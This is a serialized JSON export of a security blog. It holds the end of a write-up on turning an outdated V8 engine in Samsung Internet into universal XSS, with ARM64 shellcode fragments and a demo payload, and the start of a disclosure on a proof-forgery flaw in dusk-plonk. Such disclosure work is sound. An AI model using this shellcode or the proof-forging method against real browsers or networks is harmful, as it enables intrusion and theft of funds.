length\n",{"type":20,"tag":315,"props":139882,"children":139883},{"class":317,"line":30696},[139884],{"type":20,"tag":315,"props":139885,"children":139886},{},[139887],{"type":26,"value":139888},"mov w3, #{len(XSS_PAYLOAD)}\n",{"type":20,"tag":315,"props":139890,"children":139891},{"class":317,"line":30717},[139892],{"type":20,"tag":315,"props":139893,"children":139894},{},[139895],{"type":26,"value":139896},"// call NewFromUTF8\n",{"type":20,"tag":315,"props":139898,"children":139899},{"class":317,"line":79209},[139900],{"type":20,"tag":315,"props":139901,"children":139902},{},[139903],{"type":26,"value":139904},"blr x10\n",{"type":20,"tag":315,"props":139906,"children":139907},{"class":317,"line":79222},[139908],{"type":20,"tag":315,"props":139909,"children":139910},{"emptyLinePlaceholder":15},[139911],{"type":26,"value":427},{"type":20,"tag":315,"props":139913,"children":139914},{"class":317,"line":79230},[139915],{"type":20,"tag":315,"props":139916,"children":139917},{},[139918],{"type":26,"value":139919},"// store x14 = String XSS_PAYLOAD\n",{"type":20,"tag":315,"props":139921,"children":139922},{"class":317,"line":79238},[139923],{"type":20,"tag":315,"props":139924,"children":139925},{},[139926],{"type":26,"value":139927},"mov x14, x0\n",{"type":20,"tag":315,"props":139929,"children":139930},{"class":317,"line":79246},[139931],{"type":20,"tag":315,"props":139932,"children":139933},{"emptyLinePlaceholder":15},[139934],{"type":26,"value":427},{"type":20,"tag":315,"props":139936,"children":139937},{"class":317,"line":79286},[139938],{"type":20,"tag":315,"props":139939,"children":139940},{},[139941],{"type":26,"value":139942},"// store x9 = v8::internal::DebugEvaluate::Global\n",{"type":20,"tag":315,"props":139944,"children":139945},{"class":317,"line":79294},[139946],{"type":20,"tag":315,"props":139947,"children":139948},{},[139949],{"type":26,"value":139950},"movz x1, #0xe44c\n",{"type":20,"tag":315,"props":139952,"children":139953},{"class":317,"line":86481},[139954],{"type":20,"tag":315,"props":139955,"children":139956},{},[139957],{"type":26,"value":139958},"movk x1, #0x014e, lsl #16\n",{"type":20,"tag":315,"props":139960,"children":139961},{"class":317,"line":86489},[139962],{"type":20,"tag":315,"props":139963,"children":139964},{},[139965],{"type":26,"value":139966},"sub x9, x12, x1\n",{"type":20,"tag":315,"props":139968,"children":139969},{"class":317,"line":99835},[139970],{"type":20,"tag":315,"props":139971,"children":139972},{"emptyLinePlaceholder":15},[139973],{"type":26,"value":427},{"type":20,"tag":315,"props":139975,"children":139976},{"class":317,"line":99843},[139977],{"type":20,"tag":315,"props":139978,"children":139979},{},[139980],{"type":26,"value":139981},"// call v8::internal::DebugEvaluate::Global\n",{"type":20,"tag":315,"props":139983,"children":139984},{"class":317,"line":99851},[139985],{"type":20,"tag":315,"props":139986,"children":139987},{},[139988],{"type":26,"value":139832},{"type":20,"tag":315,"props":139990,"children":139991},{"class":317,"line":99859},[139992],{"type":20,"tag":315,"props":139993,"children":139994},{},[139995],{"type":26,"value":139840},{"type":20,"tag":315,"props":139997,"children":139998},{"class":317,"line":99887},[139999],{"type":20,"tag":315,"props":140000,"children":140001},{},[140002],{"type":26,"value":140003},"// arg1 = String *source\n",{"type":20,"tag":315,"props":140005,"children":140006},{"class":317,"line":102658},[140007],{"type":20,"tag":315,"props":140008,"children":140009},{},[140010],{"type":26,"value":140011},"mov x1, x14\n",{"type":20,"tag":315,"props":140013,"children":140014},{"class":317,"line":102666},[140015],{"type":20,"tag":315,"props":140016,"children":140017},{},[140018],{"type":26,"value":140019},"// arg2 = mode = kDefault\n",{"type":20,"tag":315,"props":140021,"children":140023},{"class":317,"line":140022},69,[140024],{"type":20,"tag":315,"props":140025,"children":140026},{},[140027],{"type":26,"value":139872},{"type":20,"tag":315,"props":140029,"children":140031},{"class":317,"line":140030},70,[140032],{"type":20,"tag":315,"props":140033,"children":140034},{},[140035],{"type":26,"value":140036},"// arg3 = repl_mode = kYes\n",{"type":20,"tag":315,"props":140038,"children":140040},{"class":317,"line":140039},71,[140041],{"type":20,"tag":315,"props":140042,"children":140043},{},[140044],{"type":26,"value":140045},"mov x3, #0\n",{"type":20,"tag":315,"props":140047,"children":140049},{"class":317,"line":140048},72,[140050],{"type":20,"tag":315,"props":140051,"children":140052},{"emptyLinePlaceholder":15},[140053],{"type":26,"value":427},{"type":20,"tag":315,"props":140055,"children":140057},{"class":317,"line":140056},73,[140058],{"type":20,"tag":315,"props":140059,"children":140060},{},[140061],{"type":26,"value":139558},{"type":20,"tag":219,"props":140063,"children":140065},{"id":140064},"uxss-demo",[140066],{"type":26,"value":140067},"UXSS Demo",{"type":20,"tag":29,"props":140069,"children":140070},{},[140071,140073,140079],{"type":26,"value":140072},"Below is a demo that executes the following UXSS payload: ",{"type":20,"tag":119,"props":140074,"children":140076},{"className":140075},[],[140077],{"type":26,"value":140078},"alert(document.domain); window.location.href = \"https://cor.team/\";",{"type":26,"value":61},{"type":20,"tag":130116,"props":140081,"children":140084},{"className":140082,"controls":15},[140083],"blog-video-responsive",[140085,140087,140091],{"type":26,"value":140086},"\n ",{"type":20,"tag":139322,"props":140088,"children":140090},{"src":140089,"type":130114},"/posts/mobile-renderer-rce/demo.mp4",[],{"type":26,"value":140092},"\n Your browser does not support the video tag.\n",{"type":20,"tag":21,"props":140094,"children":140095},{"id":1211},[140096],{"type":26,"value":1214},{"type":20,"tag":29,"props":140098,"children":140099},{},[140100],{"type":26,"value":140101},"Given the complex nature of the modern software ecosystem, it is unsurprising to find core out of date libraries in popular applications. Samsung Internet relied on a six month old version of V8, a JavaScript engine where researchers frequently discover new vulnerabilities, providing us a large window for n-day exploitation.",{"type":20,"tag":29,"props":140103,"children":140104},{},[140105],{"type":26,"value":140106},"While renderer bugs are usually chained with another exploit such as a sandbox escape, we pushed the capabilities of the bug by targeting the weaker Site Isolation mechanism on mobile. As most web pages ran under the same process, we could inject shellcode into the JavaScript interpreter to achieve universal XSS in Samsung Internet browser.",{"type":20,"tag":1226,"props":140108,"children":140109},{},[140110],{"type":26,"value":1230},{"title":7,"searchDepth":356,"depth":356,"links":140112},[140113,140117,140120,140130],{"id":23,"depth":356,"text":27,"children":140114},[140115,140116],{"id":130250,"depth":365,"text":130253},{"id":130333,"depth":365,"text":130336},{"id":130366,"depth":356,"text":130369,"children":140118},[140119],{"id":130507,"depth":365,"text":130361},{"id":130651,"depth":356,"text":130654,"children":140121},[140122,140123,140124,140125,140126,140127,140128,140129],{"id":130657,"depth":365,"text":130660},{"id":131114,"depth":365,"text":131117},{"id":131297,"depth":365,"text":131300},{"id":131408,"depth":365,"text":131411},{"id":131685,"depth":365,"text":131688},{"id":134395,"depth":365,"text":134398},{"id":137676,"depth":365,"text":137679},{"id":140064,"depth":365,"text":140067},{"id":1211,"depth":356,"text":1214},"content:blog:2026-04-01-patch-gap-to-mobile-renderer-rce.md","blog/2026-04-01-patch-gap-to-mobile-renderer-rce.md","blog/2026-04-01-patch-gap-to-mobile-renderer-rce",{"_path":140135,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":140136,"description":140137,"date":140138,"author":140139,"image":140140,"isFeatured":15,"onBlogPage":15,"tags":140142,"body":140145,"_type":1242,"_id":145409,"_source":1244,"_file":145410,"_stem":145411,"_extension":1247},"/blog/2026-04-30-unverified-evaluations-dusk-plonk","Unverified Evaluations in Dusk's PLONK","Dusk's privacy layer protects ~$60M of DUSK and hinges on one proof check. dusk-plonk's verifier never validated four of the prover's polynomial commitments, enough to mint DUSK from nothing and forge shielded spends the network confirmed as real.","2026-04-30T12:00:00.000Z",[106096,106097],{"src":140141,"width":95526,"height":12024},"/posts/dusk-commitment-issues/title.png",[140143,140144],"dusk","plonk",{"type":17,"children":140146,"toc":145389},[140147,140153,140194,140206,140212,140226,140231,140237,140528,140532,140804,141034,141040,141725,141729,142224,142232,142238,142257,142262,142268,142493,142532,142543,142549,142560,143268,143273,143276,143282,143335,143370,143402,143407,143411,143414,143420,143431,143444,143475,143542,143550,143572,143585,144012,144035,144040,144043,144048,144075,144171,144182,144229,144267,144278,144616,144633,144641,144644,144650,144655,144689,144697,144778,144781,144787,144801,144819,144824,144864,144872,144893,144896,144902,144907,144972,144986,144989,144995,145035,145046,145051,145056,145062,145076,145157,145178,145205,145208,145214,145228,145233,145238,145243,145378,145384],{"type":20,"tag":33788,"props":140148,"children":140150},{"id":140149},"commitment-issues-unverified-evaluations-in-dusks-plonk",[140151],{"type":26,"value":140152},"Commitment Issues: Unverified Evaluations in Dusk's PLONK",{"type":20,"tag":29,"props":140154,"children":140155},{},[140156,140158,140165,140167,140174,140176,140183,140185,140192],{"type":26,"value":140157},"We found a critical soundness vulnerability in ",{"type":20,"tag":35,"props":140159,"children":140162},{"href":140160,"rel":140161},"https://github.com/dusk-network/plonk/",[39],[140163],{"type":26,"value":140164},"dusk-plonk",{"type":26,"value":140166},", the PLONK implementation powering ",{"type":20,"tag":35,"props":140168,"children":140171},{"href":140169,"rel":140170},"https://dusk.network/",[39],[140172],{"type":26,"value":140173},"Dusk Network's",{"type":26,"value":140175}," ~$60M ",{"type":20,"tag":35,"props":140177,"children":140180},{"href":140178,"rel":140179},"https://www.coingecko.com/en/coins/dusk",[39],[140181],{"type":26,"value":140182},"market cap",{"type":26,"value":140184},". By exploiting a gap in the verification step, a malicious prover could forge verifying proofs for arbitrary false statements, bypassing every constraint in the transaction circuit. On the live ",{"type":20,"tag":35,"props":140186,"children":140189},{"href":140187,"rel":140188},"https://github.com/dusk-network/rusk",[39],[140190],{"type":26,"value":140191},"Rusk",{"type":26,"value":140193}," network, this would have enabled minting arbitrary amounts of DUSK and moving forged shielded funds through the normal Phoenix path.",{"type":20,"tag":29,"props":140195,"children":140196},{},[140197,140199,140204],{"type":26,"value":140198},"The root cause was that the prover slipped four public selector evaluations into the proof struct, and the verifier consumed them in its final equation ",{"type":20,"tag":3717,"props":140200,"children":140201},{},[140202],{"type":26,"value":140203},"without ever validating them against the trusted commitments in the verifier key.",{"type":26,"value":140205}," The prover can set them to whatever values make the equation pass.",{"type":20,"tag":21,"props":140207,"children":140209},{"id":140208},"how-plonk-works-briefly",[140210],{"type":26,"value":140211},"How PLONK works (briefly)",{"type":20,"tag":29,"props":140213,"children":140214},{},[140215,140217,140224],{"type":26,"value":140216},"For a rigorous treatment see the ",{"type":20,"tag":35,"props":140218,"children":140221},{"href":140219,"rel":140220},"https://eprint.iacr.org/2019/953",[39],[140222],{"type":26,"value":140223},"original paper",{"type":26,"value":140225},"; what follows covers only the parts needed to understand the bug.",{"type":20,"tag":29,"props":140227,"children":140228},{},[140229],{"type":26,"value":140230},"A prover wants to convince a verifier that it knows secret inputs satisfying some computation (an arithmetic circuit) without revealing those inputs, and the resulting proof should be short and quick to verify.",{"type":20,"tag":219,"props":140232,"children":140234},{"id":140233},"arithmetic-circuits-and-constraints",[140235],{"type":26,"value":140236},"Arithmetic circuits and constraints",{"type":20,"tag":29,"props":140238,"children":140239},{},[140240,140242,140291,140293,140442,140444,140527],{"type":26,"value":140241},"An arithmetic circuit is a series of addition and multiplication gates wired together. An example would be proving that we know of some point ",{"type":20,"tag":119,"props":140243,"children":140245},{"className":140244},[2375,2376],[140246],{"type":20,"tag":315,"props":140247,"children":140249},{"className":140248},[2381],[140250],{"type":20,"tag":315,"props":140251,"children":140253},{"className":140252,"ariaHidden":2387},[2386],[140254],{"type":20,"tag":315,"props":140255,"children":140257},{"className":140256},[2392],[140258,140262,140267,140272,140277,140281,140286],{"type":20,"tag":315,"props":140259,"children":140261},{"className":140260,"style":2504},[2397],[],{"type":20,"tag":315,"props":140263,"children":140265},{"className":140264},[20121],[140266],{"type":26,"value":1049},{"type":20,"tag":315,"props":140268,"children":140270},{"className":140269},[2403,19992],[140271],{"type":26,"value":17680},{"type":20,"tag":315,"props":140273,"children":140275},{"className":140274},[2515],[140276],{"type":26,"value":2518},{"type":20,"tag":315,"props":140278,"children":140280},{"className":140279,"style":2522},[2483],[],{"type":20,"tag":315,"props":140282,"children":140284},{"className":140283,"style":91791},[2403,19992],[140285],{"type":26,"value":1495},{"type":20,"tag":315,"props":140287,"children":140289},{"className":140288},[20143],[140290],{"type":26,"value":1509},{"type":26,"value":140292}," on an elliptic curve, by e.g proving that ",{"type":20,"tag":119,"props":140294,"children":140296},{"className":140295},[2375,2376],[140297],{"type":20,"tag":315,"props":140298,"children":140300},{"className":140299},[2381],[140301],{"type":20,"tag":315,"props":140302,"children":140304},{"className":140303,"ariaHidden":2387},[2386],[140305,140367,140429],{"type":20,"tag":315,"props":140306,"children":140308},{"className":140307},[2392],[140309,140313,140354,140358,140363],{"type":20,"tag":315,"props":140310,"children":140312},{"className":140311,"style":121642},[2397],[],{"type":20,"tag":315,"props":140314,"children":140316},{"className":140315},[2403],[140317,140322],{"type":20,"tag":315,"props":140318,"children":140320},{"className":140319,"style":91791},[2403,19992],[140321],{"type":26,"value":1495},{"type":20,"tag":315,"props":140323,"children":140325},{"className":140324},[2419],[140326],{"type":20,"tag":315,"props":140327,"children":140329},{"className":140328},[2424],[140330],{"type":20,"tag":315,"props":140331,"children":140333},{"className":140332},[2429],[140334],{"type":20,"tag":315,"props":140335,"children":140337},{"className":140336,"style":2398},[2434],[140338],{"type":20,"tag":315,"props":140339,"children":140340},{"style":2438},[140341,140345],{"type":20,"tag":315,"props":140342,"children":140344},{"className":140343,"style":2444},[2443],[],{"type":20,"tag":315,"props":140346,"children":140348},{"className":140347},[2449,2450,2451,2452],[140349],{"type":20,"tag":315,"props":140350,"children":140352},{"className":140351},[2403,2452],[140353],{"type":26,"value":1504},{"type":20,"tag":315,"props":140355,"children":140357},{"className":140356,"style":2581},[2483],[],{"type":20,"tag":315,"props":140359,"children":140361},{"className":140360},[2586],[140362],{"type":26,"value":337},{"type":20,"tag":315,"props":140364,"children":140366},{"className":140365,"style":2581},[2483],[],{"type":20,"tag":315,"props":140368,"children":140370},{"className":140369},[2392],[140371,140375,140416,140420,140425],{"type":20,"tag":315,"props":140372,"children":140374},{"className":140373,"style":121517},[2397],[],{"type":20,"tag":315,"props":140376,"children":140378},{"className":140377},[2403],[140379,140384],{"type":20,"tag":315,"props":140380,"children":140382},{"className":140381},[2403,19992],[140383],{"type":26,"value":17680},{"type":20,"tag":315,"props":140385,"children":140387},{"className":140386},[2419],[140388],{"type":20,"tag":315,"props":140389,"children":140391},{"className":140390},[2424],[140392],{"type":20,"tag":315,"props":140393,"children":140395},{"className":140394},[2429],[140396],{"type":20,"tag":315,"props":140397,"children":140399},{"className":140398,"style":2398},[2434],[140400],{"type":20,"tag":315,"props":140401,"children":140402},{"style":2438},[140403,140407],{"type":20,"tag":315,"props":140404,"children":140406},{"className":140405,"style":2444},[2443],[],{"type":20,"tag":315,"props":140408,"children":140410},{"className":140409},[2449,2450,2451,2452],[140411],{"type":20,"tag":315,"props":140412,"children":140414},{"className":140413},[2403,2452],[140415],{"type":26,"value":15698},{"type":20,"tag":315,"props":140417,"children":140419},{"className":140418,"style":2484},[2483],[],{"type":20,"tag":315,"props":140421,"children":140423},{"className":140422},[2489],[140424],{"type":26,"value":817},{"type":20,"tag":315,"props":140426,"children":140428},{"className":140427,"style":2484},[2483],[],{"type":20,"tag":315,"props":140430,"children":140432},{"className":140431},[2392],[140433,140437],{"type":20,"tag":315,"props":140434,"children":140436},{"className":140435,"style":92336},[2397],[],{"type":20,"tag":315,"props":140438,"children":140440},{"className":140439},[2403],[140441],{"type":26,"value":52923},{"type":26,"value":140443},", here in ",{"type":20,"tag":119,"props":140445,"children":140447},{"className":140446},[2375,2376],[140448],{"type":20,"tag":315,"props":140449,"children":140451},{"className":140450},[2381],[140452],{"type":20,"tag":315,"props":140453,"children":140455},{"className":140454,"ariaHidden":2387},[2386],[140456],{"type":20,"tag":315,"props":140457,"children":140459},{"className":140458},[2392],[140460,140465],{"type":20,"tag":315,"props":140461,"children":140464},{"className":140462,"style":140463},[2397],"height:0.8389em;vertical-align:-0.15em;",[],{"type":20,"tag":315,"props":140466,"children":140468},{"className":140467},[2403],[140469,140474],{"type":20,"tag":315,"props":140470,"children":140472},{"className":140471},[2403,120080],[140473],{"type":26,"value":120083},{"type":20,"tag":315,"props":140475,"children":140477},{"className":140476},[2419],[140478],{"type":20,"tag":315,"props":140479,"children":140481},{"className":140480},[2424,20046],[140482,140516],{"type":20,"tag":315,"props":140483,"children":140485},{"className":140484},[2429],[140486,140511],{"type":20,"tag":315,"props":140487,"children":140489},{"className":140488,"style":91357},[2434],[140490],{"type":20,"tag":315,"props":140491,"children":140492},{"style":91361},[140493,140497],{"type":20,"tag":315,"props":140494,"children":140496},{"className":140495,"style":2444},[2443],[],{"type":20,"tag":315,"props":140498,"children":140500},{"className":140499},[2449,2450,2451,2452],[140501],{"type":20,"tag":315,"props":140502,"children":140504},{"className":140503},[2403,2452],[140505],{"type":20,"tag":315,"props":140506,"children":140508},{"className":140507},[2403,2452],[140509],{"type":26,"value":140510},"37",{"type":20,"tag":315,"props":140512,"children":140514},{"className":140513},[20149],[140515],{"type":26,"value":20152},{"type":20,"tag":315,"props":140517,"children":140519},{"className":140518},[2429],[140520],{"type":20,"tag":315,"props":140521,"children":140523},{"className":140522,"style":91388},[2434],[140524],{"type":20,"tag":315,"props":140525,"children":140526},{},[],{"type":26,"value":61},{"type":20,"tag":140529,"props":140530,"children":140531},"arithmetic-circuit-widget",{},[],{"type":20,"tag":29,"props":140533,"children":140534},{},[140535,140537,140563,140565,140644,140646,140723,140725,140802],{"type":26,"value":140536},"Each gate ",{"type":20,"tag":119,"props":140538,"children":140540},{"className":140539},[2375,2376],[140541],{"type":20,"tag":315,"props":140542,"children":140544},{"className":140543},[2381],[140545],{"type":20,"tag":315,"props":140546,"children":140548},{"className":140547,"ariaHidden":2387},[2386],[140549],{"type":20,"tag":315,"props":140550,"children":140552},{"className":140551},[2392],[140553,140558],{"type":20,"tag":315,"props":140554,"children":140557},{"className":140555,"style":140556},[2397],"height:0.6595em;",[],{"type":20,"tag":315,"props":140559,"children":140561},{"className":140560},[2403,19992],[140562],{"type":26,"value":2122},{"type":26,"value":140564}," has a left input ",{"type":20,"tag":119,"props":140566,"children":140568},{"className":140567},[2375,2376],[140569],{"type":20,"tag":315,"props":140570,"children":140572},{"className":140571},[2381],[140573],{"type":20,"tag":315,"props":140574,"children":140576},{"className":140575,"ariaHidden":2387},[2386],[140577],{"type":20,"tag":315,"props":140578,"children":140580},{"className":140579},[2392],[140581,140586],{"type":20,"tag":315,"props":140582,"children":140585},{"className":140583,"style":140584},[2397],"height:0.8444em;vertical-align:-0.15em;",[],{"type":20,"tag":315,"props":140587,"children":140589},{"className":140588},[2403],[140590,140595],{"type":20,"tag":315,"props":140591,"children":140593},{"className":140592,"style":91317},[2403,19992],[140594],{"type":26,"value":91320},{"type":20,"tag":315,"props":140596,"children":140598},{"className":140597},[2419],[140599],{"type":20,"tag":315,"props":140600,"children":140602},{"className":140601},[2424,20046],[140603,140633],{"type":20,"tag":315,"props":140604,"children":140606},{"className":140605},[2429],[140607,140628],{"type":20,"tag":315,"props":140608,"children":140610},{"className":140609,"style":91834},[2434],[140611],{"type":20,"tag":315,"props":140612,"children":140614},{"style":140613},"top:-2.55em;margin-left:-0.0197em;margin-right:0.05em;",[140615,140619],{"type":20,"tag":315,"props":140616,"children":140618},{"className":140617,"style":2444},[2443],[],{"type":20,"tag":315,"props":140620,"children":140622},{"className":140621},[2449,2450,2451,2452],[140623],{"type":20,"tag":315,"props":140624,"children":140626},{"className":140625},[2403,19992,2452],[140627],{"type":26,"value":2122},{"type":20,"tag":315,"props":140629,"children":140631},{"className":140630},[20149],[140632],{"type":26,"value":20152},{"type":20,"tag":315,"props":140634,"children":140636},{"className":140635},[2429],[140637],{"type":20,"tag":315,"props":140638,"children":140640},{"className":140639,"style":91388},[2434],[140641],{"type":20,"tag":315,"props":140642,"children":140643},{},[],{"type":26,"value":140645},", right input ",{"type":20,"tag":119,"props":140647,"children":140649},{"className":140648},[2375,2376],[140650],{"type":20,"tag":315,"props":140651,"children":140653},{"className":140652},[2381],[140654],{"type":20,"tag":315,"props":140655,"children":140657},{"className":140656,"ariaHidden":2387},[2386],[140658],{"type":20,"tag":315,"props":140659,"children":140661},{"className":140660},[2392],[140662,140666],{"type":20,"tag":315,"props":140663,"children":140665},{"className":140664,"style":108275},[2397],[],{"type":20,"tag":315,"props":140667,"children":140669},{"className":140668},[2403],[140670,140675],{"type":20,"tag":315,"props":140671,"children":140673},{"className":140672,"style":91305},[2403,19992],[140674],{"type":26,"value":92124},{"type":20,"tag":315,"props":140676,"children":140678},{"className":140677},[2419],[140679],{"type":20,"tag":315,"props":140680,"children":140682},{"className":140681},[2424,20046],[140683,140712],{"type":20,"tag":315,"props":140684,"children":140686},{"className":140685},[2429],[140687,140707],{"type":20,"tag":315,"props":140688,"children":140690},{"className":140689,"style":91834},[2434],[140691],{"type":20,"tag":315,"props":140692,"children":140693},{"style":108304},[140694,140698],{"type":20,"tag":315,"props":140695,"children":140697},{"className":140696,"style":2444},[2443],[],{"type":20,"tag":315,"props":140699,"children":140701},{"className":140700},[2449,2450,2451,2452],[140702],{"type":20,"tag":315,"props":140703,"children":140705},{"className":140704},[2403,19992,2452],[140706],{"type":26,"value":2122},{"type":20,"tag":315,"props":140708,"children":140710},{"className":140709},[20149],[140711],{"type":26,"value":20152},{"type":20,"tag":315,"props":140713,"children":140715},{"className":140714},[2429],[140716],{"type":20,"tag":315,"props":140717,"children":140719},{"className":140718,"style":91388},[2434],[140720],{"type":20,"tag":315,"props":140721,"children":140722},{},[],{"type":26,"value":140724},", and output ",{"type":20,"tag":119,"props":140726,"children":140728},{"className":140727},[2375,2376],[140729],{"type":20,"tag":315,"props":140730,"children":140732},{"className":140731},[2381],[140733],{"type":20,"tag":315,"props":140734,"children":140736},{"className":140735,"ariaHidden":2387},[2386],[140737],{"type":20,"tag":315,"props":140738,"children":140740},{"className":140739},[2392],[140741,140745],{"type":20,"tag":315,"props":140742,"children":140744},{"className":140743,"style":108275},[2397],[],{"type":20,"tag":315,"props":140746,"children":140748},{"className":140747},[2403],[140749,140754],{"type":20,"tag":315,"props":140750,"children":140752},{"className":140751},[2403,19992],[140753],{"type":26,"value":91275},{"type":20,"tag":315,"props":140755,"children":140757},{"className":140756},[2419],[140758],{"type":20,"tag":315,"props":140759,"children":140761},{"className":140760},[2424,20046],[140762,140791],{"type":20,"tag":315,"props":140763,"children":140765},{"className":140764},[2429],[140766,140786],{"type":20,"tag":315,"props":140767,"children":140769},{"className":140768,"style":91834},[2434],[140770],{"type":20,"tag":315,"props":140771,"children":140772},{"style":91361},[140773,140777],{"type":20,"tag":315,"props":140774,"children":140776},{"className":140775,"style":2444},[2443],[],{"type":20,"tag":315,"props":140778,"children":140780},{"className":140779},[2449,2450,2451,2452],[140781],{"type":20,"tag":315,"props":140782,"children":140784},{"className":140783},[2403,19992,2452],[140785],{"type":26,"value":2122},{"type":20,"tag":315,"props":140787,"children":140789},{"className":140788},[20149],[140790],{"type":26,"value":20152},{"type":20,"tag":315,"props":140792,"children":140794},{"className":140793},[2429],[140795],{"type":20,"tag":315,"props":140796,"children":140798},{"className":140797,"style":91388},[2434],[140799],{"type":20,"tag":315,"props":140800,"children":140801},{},[],{"type":26,"value":140803},". The prover's job is to show it knows wire values that satisfy every gate.",{"type":20,"tag":29,"props":140805,"children":140806},{},[140807,140809,140814,140816,140920,140922,141025,141027,141032],{"type":26,"value":140808},"Each gate imposes a constraint, and PLONK unifies all gate types into one expression using ",{"type":20,"tag":55,"props":140810,"children":140811},{},[140812],{"type":26,"value":140813},"selector",{"type":26,"value":140815}," values that act as switches: setting ",{"type":20,"tag":119,"props":140817,"children":140819},{"className":140818},[2375,2376],[140820],{"type":20,"tag":315,"props":140821,"children":140823},{"className":140822},[2381],[140824],{"type":20,"tag":315,"props":140825,"children":140827},{"className":140826,"ariaHidden":2387},[2386],[140828,140907],{"type":20,"tag":315,"props":140829,"children":140831},{"className":140830},[2392],[140832,140836,140894,140898,140903],{"type":20,"tag":315,"props":140833,"children":140835},{"className":140834,"style":108195},[2397],[],{"type":20,"tag":315,"props":140837,"children":140839},{"className":140838},[2403],[140840,140845],{"type":20,"tag":315,"props":140841,"children":140843},{"className":140842,"style":91791},[2403,19992],[140844],{"type":26,"value":91794},{"type":20,"tag":315,"props":140846,"children":140848},{"className":140847},[2419],[140849],{"type":20,"tag":315,"props":140850,"children":140852},{"className":140851},[2424,20046],[140853,140883],{"type":20,"tag":315,"props":140854,"children":140856},{"className":140855},[2429],[140857,140878],{"type":20,"tag":315,"props":140858,"children":140861},{"className":140859,"style":140860},[2434],"height:0.3283em;",[140862],{"type":20,"tag":315,"props":140863,"children":140864},{"style":91838},[140865,140869],{"type":20,"tag":315,"props":140866,"children":140868},{"className":140867,"style":2444},[2443],[],{"type":20,"tag":315,"props":140870,"children":140872},{"className":140871},[2449,2450,2451,2452],[140873],{"type":20,"tag":315,"props":140874,"children":140876},{"className":140875,"style":93313},[2403,19992,2452],[140877],{"type":26,"value":93316},{"type":20,"tag":315,"props":140879,"children":140881},{"className":140880},[20149],[140882],{"type":26,"value":20152},{"type":20,"tag":315,"props":140884,"children":140886},{"className":140885},[2429],[140887],{"type":20,"tag":315,"props":140888,"children":140890},{"className":140889,"style":91388},[2434],[140891],{"type":20,"tag":315,"props":140892,"children":140893},{},[],{"type":20,"tag":315,"props":140895,"children":140897},{"className":140896,"style":2581},[2483],[],{"type":20,"tag":315,"props":140899,"children":140901},{"className":140900},[2586],[140902],{"type":26,"value":337},{"type":20,"tag":315,"props":140904,"children":140906},{"className":140905,"style":2581},[2483],[],{"type":20,"tag":315,"props":140908,"children":140910},{"className":140909},[2392],[140911,140915],{"type":20,"tag":315,"props":140912,"children":140914},{"className":140913,"style":92336},[2397],[],{"type":20,"tag":315,"props":140916,"children":140918},{"className":140917},[2403],[140919],{"type":26,"value":2406},{"type":26,"value":140921}," makes a row a multiplication gate, setting ",{"type":20,"tag":119,"props":140923,"children":140925},{"className":140924},[2375,2376],[140926],{"type":20,"tag":315,"props":140927,"children":140929},{"className":140928},[2381],[140930],{"type":20,"tag":315,"props":140931,"children":140933},{"className":140932,"ariaHidden":2387},[2386],[140934,141012],{"type":20,"tag":315,"props":140935,"children":140937},{"className":140936},[2392],[140938,140942,140999,141003,141008],{"type":20,"tag":315,"props":140939,"children":140941},{"className":140940,"style":108195},[2397],[],{"type":20,"tag":315,"props":140943,"children":140945},{"className":140944},[2403],[140946,140951],{"type":20,"tag":315,"props":140947,"children":140949},{"className":140948,"style":91791},[2403,19992],[140950],{"type":26,"value":91794},{"type":20,"tag":315,"props":140952,"children":140954},{"className":140953},[2419],[140955],{"type":20,"tag":315,"props":140956,"children":140958},{"className":140957},[2424,20046],[140959,140988],{"type":20,"tag":315,"props":140960,"children":140962},{"className":140961},[2429],[140963,140983],{"type":20,"tag":315,"props":140964,"children":140966},{"className":140965,"style":140860},[2434],[140967],{"type":20,"tag":315,"props":140968,"children":140969},{"style":91838},[140970,140974],{"type":20,"tag":315,"props":140971,"children":140973},{"className":140972,"style":2444},[2443],[],{"type":20,"tag":315,"props":140975,"children":140977},{"className":140976},[2449,2450,2451,2452],[140978],{"type":20,"tag":315,"props":140979,"children":140981},{"className":140980},[2403,19992,2452],[140982],{"type":26,"value":116269},{"type":20,"tag":315,"props":140984,"children":140986},{"className":140985},[20149],[140987],{"type":26,"value":20152},{"type":20,"tag":315,"props":140989,"children":140991},{"className":140990},[2429],[140992],{"type":20,"tag":315,"props":140993,"children":140995},{"className":140994,"style":91388},[2434],[140996],{"type":20,"tag":315,"props":140997,"children":140998},{},[],{"type":20,"tag":315,"props":141000,"children":141002},{"className":141001,"style":2581},[2483],[],{"type":20,"tag":315,"props":141004,"children":141006},{"className":141005},[2586],[141007],{"type":26,"value":337},{"type":20,"tag":315,"props":141009,"children":141011},{"className":141010,"style":2581},[2483],[],{"type":20,"tag":315,"props":141013,"children":141015},{"className":141014},[2392],[141016,141020],{"type":20,"tag":315,"props":141017,"children":141019},{"className":141018,"style":92336},[2397],[],{"type":20,"tag":315,"props":141021,"children":141023},{"className":141022},[2403],[141024],{"type":26,"value":2406},{"type":26,"value":141026}," makes it contribute an addition term, and so on. The selector values define the circuit's shape and are public, known to both prover and verifier, while the wire values are the prover's secret witness. This per-row check does not ensure that wires between gates are consistent (that the output of one gate equals the input of the next); PLONK uses a separate ",{"type":20,"tag":55,"props":141028,"children":141029},{},[141030],{"type":26,"value":141031},"permutation argument",{"type":26,"value":141033}," for that, which we will not cover here.",{"type":20,"tag":219,"props":141035,"children":141037},{"id":141036},"from-many-checks-to-one",[141038],{"type":26,"value":141039},"From many checks to one",{"type":20,"tag":29,"props":141041,"children":141042},{},[141043,141045,141050,141051,141143,141144,141236,141237,141329,141331,141336,141337,141429,141430,141522,141524,141549,141551,141576,141578,141670,141672,141697,141699,141724],{"type":26,"value":141044},"Instead of checking each gate individually, PLONK reads the execution trace column by column and uses FFT interpolation to convert each array of values to a single polynomial. The wire values become ",{"type":20,"tag":55,"props":141046,"children":141047},{},[141048],{"type":26,"value":141049},"witness 